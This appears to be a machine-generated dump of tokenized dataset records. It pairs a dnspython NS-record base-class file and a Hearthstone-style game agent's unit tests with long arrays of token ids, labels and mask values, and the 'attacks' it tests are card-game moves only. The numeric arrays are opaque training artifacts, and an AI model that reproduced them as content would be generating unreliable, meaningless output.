# Copyright (C) 2003-2007, 2009, 2010 Nominum, Inc. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose with or without fee is hereby granted, # provided that the above copyright notice and this permission notice # appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """NS-like base classes.""" import cStringIO import dns.exception import dns.rdata import dns.name class NSBase(dns.rdata.Rdata): """Base class for rdata that is like an NS record. @ivar target: the target name of the rdata @type target: dns.name.Name object""" __slots__ = ['target'] def __init__(self, rdclass, rdtype, target): super(NSBase, self).__init__(rdclass, rdtype) self.target = target def to_text(self, origin=None, relativize=True, **kw): target = self.target.choose_relativity(origin, relativize) return str(target) def from_text(cls, rdclass, rdtype, tok, origin = None, relativize = True): target = tok.get_name() target = target.choose_relativity(origin, relativize) tok.get_eol() return cls(rdclass, rdtype, target) from_text = classmethod(from_text) def to_wire(self, file, compress = None, origin = None): self.target.to_wire(file, compress, origin) def to_digestable(self, origin = None): return self.target.to_digestable(origin) def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin = None): (target, cused) = dns.name.from_wire(wire[: current + rdlen], current) if cused != rdlen: raise dns.exception.FormError if not origin is None: target = target.relativize(origin) return cls(rdclass, rdtype, target) from_wire = classmethod(from_wire) def choose_relativity(self, origin = None, relativize = True): self.target = self.target.choose_relativity(origin, relativize) def _cmp(self, other): return cmp(self.target, other.target) class UncompressedNS(NSBase): """Base class for rdata that is like an NS record, but whose name is not compressed when convert to DNS wire format, and whose digestable form is not downcased.""" def to_wire(self, file, compress = None, origin = None): super(UncompressedNS, self).to_wire(file, None, origin) def to_digestable(self, origin = None): f = cStringIO.StringIO() self.to_wire(f, None, origin) return f.getvalue()
apache-2.0
[ 3, 1898, 334, 35, 9, 13004, 13, 9488, 12, 8937, 12, 7129, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 624, 2709, 13, 2930, 1300, 3992, 1041, 199, 199, 646, 15073, 199, 199, 646, 6715, 14, 1971, 199, 646, 6715, 14, 23203, 199, 646, 6715, 14, 354, 199, 199, 533, 9380, 1563, 8, 5797, 14, 23203, 14, 50, 576, 304, 272, 408, 1563, 1021, 367, 27020, 626, 365, 2839, 376, 9380, 2777, 14, 339, 768, 7725, 1347, 26, 314, 1347, 536, 402, 314, 27020, 272, 768, 466, 1347, 26, 6715, 14, 354, 14, 985, 909, 624, 339, 636, 7257, 363, 275, 788, 1375, 418, 339, 347, 636, 826, 721, 277, 12, 29320, 12, 22764, 12, 1347, 304, 267, 1613, 8, 2709, 1563, 12, 291, 2843, 826, 721, 30186, 12, 22764, 9, 267, 291, 14, 1375, 275, 1347, 339, 347, 370, 63, 505, 8, 277, 12, 6330, 29, 403, 12, 13773, 29282, 29, 549, 12, 1011, 829, 304, 267, 1347, 275, 291, 14, 1375, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 267, 372, 620, 8, 1375, 9, 339, 347, 687, 63, 505, 8, 1886, 12, 29320, 12, 22764, 12, 8431, 12, 6330, 275, 488, 12, 13773, 29282, 275, 715, 304, 267, 1347, 275, 8431, 14, 362, 63, 354, 342, 267, 1347, 275, 1347, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 267, 8431, 14, 362, 63, 20470, 342, 267, 372, 843, 8, 30186, 12, 22764, 12, 1347, 9, 339, 687, 63, 505, 275, 18990, 8, 504, 63, 505, 9, 339, 347, 370, 63, 11239, 8, 277, 12, 570, 12, 11029, 275, 488, 12, 6330, 275, 488, 304, 267, 291, 14, 1375, 14, 475, 63, 11239, 8, 493, 12, 11029, 12, 6330, 9, 339, 347, 370, 63, 5671, 461, 8, 277, 12, 6330, 275, 488, 304, 267, 372, 291, 14, 1375, 14, 475, 63, 5671, 461, 8, 6493, 9, 339, 347, 687, 63, 11239, 8, 1886, 12, 29320, 12, 22764, 12, 11799, 12, 1453, 12, 11517, 552, 12, 6330, 275, 488, 304, 267, 334, 1375, 12, 286, 2972, 9, 275, 6715, 14, 354, 14, 504, 63, 11239, 8, 11239, 1491, 1453, 435, 11517, 552, 467, 6163, 1453, 9, 267, 340, 286, 2972, 1137, 11517, 552, 26, 288, 746, 6715, 14, 1971, 14, 2821, 547, 267, 340, 440, 6330, 365, 488, 26, 288, 1347, 275, 1347, 14, 17060, 29282, 8, 6493, 9, 267, 372, 843, 8, 30186, 12, 22764, 12, 1347, 9, 339, 687, 63, 11239, 275, 18990, 8, 504, 63, 11239, 9, 339, 347, 11496, 63, 17060, 4191, 8, 277, 12, 6330, 275, 488, 12, 13773, 29282, 275, 715, 304, 267, 291, 14, 1375, 275, 291, 14, 1375, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 339, 347, 485, 5730, 8, 277, 12, 1163, 304, 267, 372, 10467, 8, 277, 14, 1375, 12, 1163, 14, 1375, 9, 199, 199, 533, 1910, 10895, 2709, 8, 2709, 1563, 304, 272, 408, 1563, 1021, 367, 27020, 626, 365, 2839, 376, 9380, 2777, 12, 1325, 7447, 536, 272, 365, 440, 12335, 1380, 3957, 370, 10237, 11799, 1475, 12, 436, 7447, 272, 10017, 461, 1824, 365, 440, 3224, 32738, 1041, 339, 347, 370, 63, 11239, 8, 277, 12, 570, 12, 11029, 275, 488, 12, 6330, 275, 488, 304, 267, 1613, 8, 1358, 10895, 2709, 12, 291, 680, 475, 63, 11239, 8, 493, 12, 488, 12, 6330, 9, 339, 347, 370, 63, 5671, 461, 8, 277, 12, 6330, 275, 488, 304, 267, 289, 275, 15073, 14, 6424, 342, 267, 291, 14, 475, 63, 11239, 8, 70, 12, 488, 12, 6330, 9, 267, 372, 289, 14, 7150, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 13004, 13, 9488, 12, 8937, 12, 7129, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 624, 2709, 13, 2930, 1300, 3992, 1041, 199, 199, 646, 15073, 199, 199, 646, 6715, 14, 1971, 199, 646, 6715, 14, 23203, 199, 646, 6715, 14, 354, 199, 199, 533, 9380, 1563, 8, 5797, 14, 23203, 14, 50, 576, 304, 272, 408, 1563, 1021, 367, 27020, 626, 365, 2839, 376, 9380, 2777, 14, 339, 768, 7725, 1347, 26, 314, 1347, 536, 402, 314, 27020, 272, 768, 466, 1347, 26, 6715, 14, 354, 14, 985, 909, 624, 339, 636, 7257, 363, 275, 788, 1375, 418, 339, 347, 636, 826, 721, 277, 12, 29320, 12, 22764, 12, 1347, 304, 267, 1613, 8, 2709, 1563, 12, 291, 2843, 826, 721, 30186, 12, 22764, 9, 267, 291, 14, 1375, 275, 1347, 339, 347, 370, 63, 505, 8, 277, 12, 6330, 29, 403, 12, 13773, 29282, 29, 549, 12, 1011, 829, 304, 267, 1347, 275, 291, 14, 1375, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 267, 372, 620, 8, 1375, 9, 339, 347, 687, 63, 505, 8, 1886, 12, 29320, 12, 22764, 12, 8431, 12, 6330, 275, 488, 12, 13773, 29282, 275, 715, 304, 267, 1347, 275, 8431, 14, 362, 63, 354, 342, 267, 1347, 275, 1347, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 267, 8431, 14, 362, 63, 20470, 342, 267, 372, 843, 8, 30186, 12, 22764, 12, 1347, 9, 339, 687, 63, 505, 275, 18990, 8, 504, 63, 505, 9, 339, 347, 370, 63, 11239, 8, 277, 12, 570, 12, 11029, 275, 488, 12, 6330, 275, 488, 304, 267, 291, 14, 1375, 14, 475, 63, 11239, 8, 493, 12, 11029, 12, 6330, 9, 339, 347, 370, 63, 5671, 461, 8, 277, 12, 6330, 275, 488, 304, 267, 372, 291, 14, 1375, 14, 475, 63, 5671, 461, 8, 6493, 9, 339, 347, 687, 63, 11239, 8, 1886, 12, 29320, 12, 22764, 12, 11799, 12, 1453, 12, 11517, 552, 12, 6330, 275, 488, 304, 267, 334, 1375, 12, 286, 2972, 9, 275, 6715, 14, 354, 14, 504, 63, 11239, 8, 11239, 1491, 1453, 435, 11517, 552, 467, 6163, 1453, 9, 267, 340, 286, 2972, 1137, 11517, 552, 26, 288, 746, 6715, 14, 1971, 14, 2821, 547, 267, 340, 440, 6330, 365, 488, 26, 288, 1347, 275, 1347, 14, 17060, 29282, 8, 6493, 9, 267, 372, 843, 8, 30186, 12, 22764, 12, 1347, 9, 339, 687, 63, 11239, 275, 18990, 8, 504, 63, 11239, 9, 339, 347, 11496, 63, 17060, 4191, 8, 277, 12, 6330, 275, 488, 12, 13773, 29282, 275, 715, 304, 267, 291, 14, 1375, 275, 291, 14, 1375, 14, 16143, 63, 17060, 4191, 8, 6493, 12, 13773, 29282, 9, 339, 347, 485, 5730, 8, 277, 12, 1163, 304, 267, 372, 10467, 8, 277, 14, 1375, 12, 1163, 14, 1375, 9, 199, 199, 533, 1910, 10895, 2709, 8, 2709, 1563, 304, 272, 408, 1563, 1021, 367, 27020, 626, 365, 2839, 376, 9380, 2777, 12, 1325, 7447, 536, 272, 365, 440, 12335, 1380, 3957, 370, 10237, 11799, 1475, 12, 436, 7447, 272, 10017, 461, 1824, 365, 440, 3224, 32738, 1041, 339, 347, 370, 63, 11239, 8, 277, 12, 570, 12, 11029, 275, 488, 12, 6330, 275, 488, 304, 267, 1613, 8, 1358, 10895, 2709, 12, 291, 680, 475, 63, 11239, 8, 493, 12, 488, 12, 6330, 9, 339, 347, 370, 63, 5671, 461, 8, 277, 12, 6330, 275, 488, 304, 267, 289, 275, 15073, 14, 6424, 342, 267, 291, 14, 475, 63, 11239, 8, 70, 12, 488, 12, 6330, 9, 267, 372, 289, 14, 7150, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
slaymaker1907/hearthbreaker
tests/agents/trade/attack_tests.py
9
9218
import unittest from hearthbreaker.cards import Wisp, WarGolem, BloodfenRaptor, GoldshireFootman, RiverCrocolisk, MagmaRager, \ ChillwindYeti, Voidwalker, AmaniBerserker, AbusiveSergeant, DarkIronDwarf, ShatteredSunCleric, ImpMaster, \ ElvenArcher, Shieldbearer, StormpikeCommando from hearthbreaker.cards.base import MinionCard from hearthbreaker.game_objects import Hero from tests.agents.trade.test_helpers import TestHelpers, TempCard from tests.agents.trade.test_case_mixin import TestCaseMixin class TestTradeAgentAttackBasicTests(TestCaseMixin, unittest.TestCase): def test_will_attack_face(self): game = TestHelpers().make_game() self.add_minions(game, 0, BloodfenRaptor()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[1]) self.assert_minions(game.players[0], "Bloodfen Raptor") self.assertEqual(27, game.players[1].hero.health) def test_will_attack_minion_and_face(self): game = TestHelpers().make_game() self.add_minions(game, 1, Wisp()) self.add_minions(game, 0, BloodfenRaptor(), RiverCrocolisk()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[1]) self.assert_minions(game.players[0], "Bloodfen Raptor", "River Crocolisk") self.assertEqual(27, game.players[1].hero.health) def test_will_respect_taunt(self): game = TestHelpers().make_game() self.add_minions(game, 1, Wisp(), GoldshireFootman()) self.add_minions(game, 0, BloodfenRaptor()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[1], "Wisp") self.assert_minions(game.players[0], "Bloodfen Raptor") def test_will_attack_twice(self): game = TestHelpers().make_game() self.add_minions(game, 1, Wisp(), GoldshireFootman()) self.add_minions(game, 0, BloodfenRaptor(), RiverCrocolisk()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[1]) self.assert_minions(game.players[0], "Bloodfen Raptor", "River Crocolisk") def test_trades_obj_smoke(self): me = [BloodfenRaptor(), RiverCrocolisk()] opp = [Wisp(), WarGolem()] trades = self.make_trades(me, opp) self.assertEqual(len(trades.trades()), 6) class TestTradeAgentAttackTradesTests(TestCaseMixin, unittest.TestCase): def test_trades_smart(self): game = self.make_game() me = self.make_cards(game.current_player, MagmaRager()) opp = self.make_cards(game.other_player, Wisp(), ChillwindYeti()) trades = self.make_trades(me, opp) self.assertEqual(len(trades.trades()), 3) self.assertEqual(trades.trades()[0].opp_minion.name, "Chillwind Yeti") def test_trades_smart2(self): game = self.make_game() me = self.make_cards(game.current_player, Voidwalker()) opp = self.make_cards(game.other_player, Wisp(), ChillwindYeti()) trades = self.make_trades(me, opp) self.assertEqual(len(trades.trades()), 3) self.assertEqual(trades.trades()[0].opp_minion.name, "Wisp") def test_trades_smart3(self): me = [Voidwalker()] opp = [ChillwindYeti()] trades = self.make_trades(me, opp) self.assertEqual(len(trades.trades()), 2) self.assertEqual(trades.trades()[0].opp_minion.__class__, Hero) class TestProperBuffs(TestCaseMixin, unittest.TestCase): def test_smoke(self): self.assertEqual(2, 2) def test_abusive(self): game = TestHelpers().make_game() self.set_hand(game, 0, AbusiveSergeant()) self.set_board(game, 0, Wisp()) self.set_board(game, 1, RiverCrocolisk()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Abusive Sergeant") self.assert_minions(game.players[1]) def test_dwarf(self): game = TestHelpers().make_game() self.set_hand(game, 0, DarkIronDwarf()) self.set_board(game, 0, Wisp()) self.set_board(game, 1, RiverCrocolisk()) game.players[0].mana = 4 game.players[0].max_mana = 4 self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Dark Iron Dwarf") self.assert_minions(game.players[1]) def test_cleric(self): game = TestHelpers().make_game() self.set_hand(game, 0, ShatteredSunCleric()) self.set_board(game, 0, Wisp()) self.set_board(game, 1, BloodfenRaptor()) self.set_mana(game, 0, 3) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Shattered Sun Cleric") self.assert_minions(game.players[1]) def test_cleric_buff_to_keep_alive(self): # This test does not pass yet. Agent picks a random friendly minion return game = TestHelpers().make_game() self.set_hand(game, 0, ShatteredSunCleric()) self.set_board(game, 0, MagmaRager(), Wisp()) self.set_board(game, 1, ImpMaster()) self.set_mana(game, 0, 3) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Shattered Sun Cleric", "Magma Rager", "Wisp") self.assert_minions(game.players[1]) def test_archer_attacks_enemy(self): game = TestHelpers().make_game() self.set_hand(game, 0, ElvenArcher()) self.set_board(game, 0, Shieldbearer()) self.set_board(game, 1, BloodfenRaptor()) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Shieldbearer", "Elven Archer") self.assertEqual(game.players[1].minions[0].health, 1) def test_commando_attacks_enemy(self): game = TestHelpers().make_game() self.set_hand(game, 0, StormpikeCommando()) self.set_board(game, 0, Wisp()) self.set_board(game, 1, BloodfenRaptor()) self.set_mana(game, 0, 5) self.make_all_active(game) game.play_single_turn() self.assert_minions(game.players[0], "Wisp", "Stormpike Commando") self.assert_minions(game.players[1]) # class TestTempCard(unittest.TestCase): # def test_make(self): # m = TempCard.make("1/2") # self.assertEqual(m.create_minion(None).health, 2) # # def test_taunt(self): # mm = TempCard.make("1/2t") # m = mm.create_minion(None) # self.assertEqual(m.health, 2) # m.add_to_board(0) # self.assertEqual(m.taunt, True) class TestTradeAgentAttackLethalTests(TestCaseMixin, unittest.TestCase): def make_minions(self, *strs): res = [] for s in strs: if isinstance(s, MinionCard): res.append(s) else: m = TempCard.make(s) res.append(m) return res def test_lethal(self): me = [ChillwindYeti()] opp = [AmaniBerserker()] a = self.make_trades2(me, opp) trades = a[1] game = a[0] game.players[1].hero.health = 1 self.assertEqual(len(trades.trades()), 1) self.assertEqual(trades.trades()[0].opp_minion.__class__, Hero) def test_lethal_with_two(self): me = [ChillwindYeti(), WarGolem()] opp = [AmaniBerserker()] a = self.make_trades2(me, opp) trades = a[1] game = a[0] game.players[1].hero.health = 10 self.assertEqual(len(trades.trades()), 2) self.assertEqual(trades.trades()[0].opp_minion.__class__, Hero) def test_lethal_with_taunt(self): me = self.make_minions("2/9", "3/1") opp = self.make_minions("9/2t") def cb(g): g.players[1].hero.health = 3 game, trades = self.make_trades2(me, opp, cb) trade = trades.trades()[0] self.assertEqual(len(trades.trades()), 2) self.assertEqual(trade.my_minion.health, 9) def test_lethal_with_taunt2(self): me = self.make_minions("2/9", "3/1", "2/8") opp = self.make_minions("9/4t") def cb(g): g.players[1].hero.health = 3 game, trades = self.make_trades2(me, opp, cb) trade = trades.trades()[0] self.assertEqual(len(trades.trades()), 3) self.assertEqual(trade.my_minion.health, 8) def test_good_trade_with_taunt2(self): me = self.make_minions("2/6", "1/6", "9/1") opp = self.make_minions("8/2t", "9/9") game, trades = self.make_trades2(me, opp) trade = trades.trades()[0] self.assertEqual(len(trades.trades()), 3) self.assertEqual(trade.my_minion.health, 6) self.assertEqual(trade.opp_minion.health, 2) def test_lots(self): me = self.make_minions("1/1", "2/1", "3/2", "2/6", "4/4", "5/5") opp = self.make_minions("1/1t", "2/1", "3/2t", "2/6", "4/4", "5/5t", "2/5t") game, trades = self.make_trades2(me, opp) trade = trades.trades()[0] self.assertEqual(not trade, False)
mit
[ 646, 2882, 199, 504, 946, 19677, 4785, 281, 14, 13761, 492, 644, 27474, 12, 644, 285, 7250, 3701, 12, 699, 21703, 70, 287, 50, 6182, 269, 12, 598, 1753, 609, 3621, 15563, 357, 1237, 12, 820, 4380, 35, 293, 331, 317, 1339, 12, 603, 643, 391, 50, 1456, 12, 971, 272, 2799, 778, 11530, 57, 69, 280, 12, 25629, 87, 14976, 12, 437, 1237, 17587, 281, 332, 2570, 12, 437, 464, 3398, 1505, 303, 867, 12, 577, 1096, 41, 2641, 36, 3281, 70, 12, 5244, 292, 3014, 22546, 35, 274, 1567, 12, 8362, 12288, 12, 971, 272, 13096, 1856, 1596, 7641, 12, 5244, 553, 1235, 21462, 12, 1933, 269, 311, 7455, 3110, 79, 199, 504, 946, 19677, 4785, 281, 14, 13761, 14, 1095, 492, 10195, 1636, 13832, 199, 504, 946, 19677, 4785, 281, 14, 5097, 63, 1462, 492, 869, 3478, 199, 504, 2295, 14, 14250, 14, 21697, 14, 396, 63, 7546, 492, 1379, 4433, 83, 12, 12540, 13832, 199, 504, 2295, 14, 14250, 14, 21697, 14, 396, 63, 2546, 63, 20406, 492, 7640, 4256, 421, 199, 533, 1379, 17529, 7788, 1271, 13058, 6845, 2925, 8, 1746, 4256, 12, 2882, 14, 1746, 304, 272, 347, 511, 63, 14117, 63, 24171, 63, 1409, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 531, 398, 291, 14, 629, 8, 1465, 12, 9219, 14, 20716, 59, 17, 1055, 31863, 14, 9665, 9, 339, 347, 511, 63, 14117, 63, 24171, 63, 827, 1636, 63, 460, 63, 1409, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1062, 820, 4380, 35, 293, 331, 317, 1339, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 566, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 16, 467, 298, 34, 21703, 70, 287, 820, 6182, 269, 401, 298, 50, 4380, 445, 293, 331, 317, 1339, 531, 398, 291, 14, 629, 8, 1465, 12, 9219, 14, 20716, 59, 17, 1055, 31863, 14, 9665, 9, 339, 347, 511, 63, 14117, 63, 27872, 63, 502, 638, 8, 277, 304, 267, 9219, 275, 1379, 4433, 83, 1252, 1875, 63, 5097, 342, 398, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 413, 12, 644, 27474, 1062, 598, 1753, 609, 3621, 15563, 357, 1237, 1012, 267, 291, 14, 525, 63, 827, 15293, 8, 5097, 12, 378, 12, 699, 21703, 70, 287, 50, 6182, 269, 1012, 398, 291, 14, 1875, 63, 452, 63, 2682, 8, 5097, 9, 267, 9219, 14, 2802, 63, 4780, 63, 353, 342, 398, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 20716, 59, 17, 467, 298, 55, 27474, 531, 267, 291, 14, 479, 63, 827, 15293, 8, 5097, 14, 